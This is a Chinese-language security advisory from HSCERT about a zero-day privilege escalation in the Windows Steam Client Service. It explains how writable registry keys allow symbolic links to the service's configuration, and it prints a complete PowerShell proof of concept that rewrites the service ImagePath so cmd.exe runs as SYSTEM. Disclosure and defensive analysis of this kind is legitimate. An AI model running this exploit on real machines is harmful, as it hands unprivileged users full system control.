漏洞描述
近日,HSCERT监测发现游戏客户端 Steam被曝存在一个 0day 权限提升漏洞,此漏洞可以导致权限有限的攻击者以管理员身份运行Steam程序。
Steam的母公司Valve认为该漏洞没有普遍危害,因此两名安全研究员公开了此 0day 漏洞,并且该公司拒绝支付漏洞赏金,也未表示将要修复该漏洞,而是禁止研究员公布该漏洞。
安全研究员Felix分析了和Steam 相关的一款Windows 服务,它可以以系统权限启动可执行文件。Felix 还发现到服务可由用户组启动并停止,而这个用户组可以是登录计算机的任何用户。
由于 Steam 的注册用户超过一亿,其中数百万用户会同时玩游戏,因此此漏洞非常严重。
漏洞分析
User组用户没有该服务注册表的写权限,因此无法修改注册表来启动其他的可执行文件或提升权限到管理员,但研究人员发现该服务启动或暂停时,会有如下子键的完全写权限。
HKLM\Software\Wow6432Node\Valve\Steam\Apps Registry key
研究员创建下面的测试key,并重启了该服务,然后检查了注册表key权限。
test key HKLM\Software\Wow6432Node\Valve\Steam\Apps\test
发现Users组有
HKLM\SOFTWARE\Wow6432Node\Valve\Steam
的Full control权限,所有的subkey以及subkey的subkey都可以继承使用这些权限。
假设RegSetKeySecurity设置了相同的权限,从
HKLM\SOFTWARE\Wow6432Node\Valve\Steam\Apps\test
到HKLM\SOFTWARE\test2创建一个链接,并重启该服务,然后尝试从没有足够权限的subkey来配置符号链接,就可以修改key值。
可以通过在如下路径下的subkey创建符号链接来修改注册表key。
HKLM\Software\Wow6432Node\Valve\Steam\Apps
因此,利用该漏洞可以修改以SYSTEM权限运行的服务来启动其他程序。研究员Nelson的PoC创建了到如下路径的符号链接,当服务重启时可以修改要启动的可执行文件。
HKLM:\SYSTEM\CurrentControlSet\Services\Steam Client Service
PoC如下:
Write-Host "[*] Installing NTObjectManager..."
install-module NTObjectManager -Scope CurrentUser -Force
import-module NTObjectManager
Write-Host "[*] Removing HKLM:\SOFTWARE\WOW6432Node\Valve\Steam\NSIS"
Remove-Item -Path "HKLM:\SOFTWARE\WOW6432Node\Valve\Steam\NSIS"
Write-Host "[*] Creating Registry Symbolic Link from HKLM:\SOFTWARE\WOW6432Node\Valve\Steam\NSIS to HKLM:\SYSTEM\CurrentControlSet\Services\Steam Client Service"
[NtApiDotNet.NtKey]::CreateSymbolicLink("\Registry\Machine\SOFTWARE\WOW6432Node\Valve\Steam\NSIS",$null, "\REGISTRY\Machine\SYSTEM\CurrentControlSet\Services\Steam Client Service")
Write-Host "[*] Registry Symbolic link created, restarting the Steam Client Service"
Get-Service "Steam Client Service" | Restart-Service
Write-Host "[*] Sleeping 5 seconds"
Start-Sleep 5
Write-Host "[*] DACL on HKLM:\SYSTEM\CurrentControlSet\Services\Steam Client Service should be overwritten"
Write-Host "[*] Modifying the binPath on the Steam Client Service..."
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\Steam Client Service" -Name "ImagePath" -Value "C:\Windows\System32\cmd.exe /c cmd.exe"
Write-Host "[*] binPath overwritten, restarting the service to trigger EoP. This will error out, just ignore it"
Get-Service "Steam Client Service" | Restart-Service
Write-Host "[*] Done, cmd.exe should now be running as NT AUTHORITY\SYSTEM"
漏洞危害
高危
影响版本
windows平台下全版本的stream应用
安全建议
2019年8月6日,Steam发布了更新版本,但并未修复该漏洞。
参考信息
https://www.bleepingcomputer.com/news/security/steam-zero-day-vulnerability-affects-over-100-million-users/
如需帮助请咨询 hscert@hillstonenet.com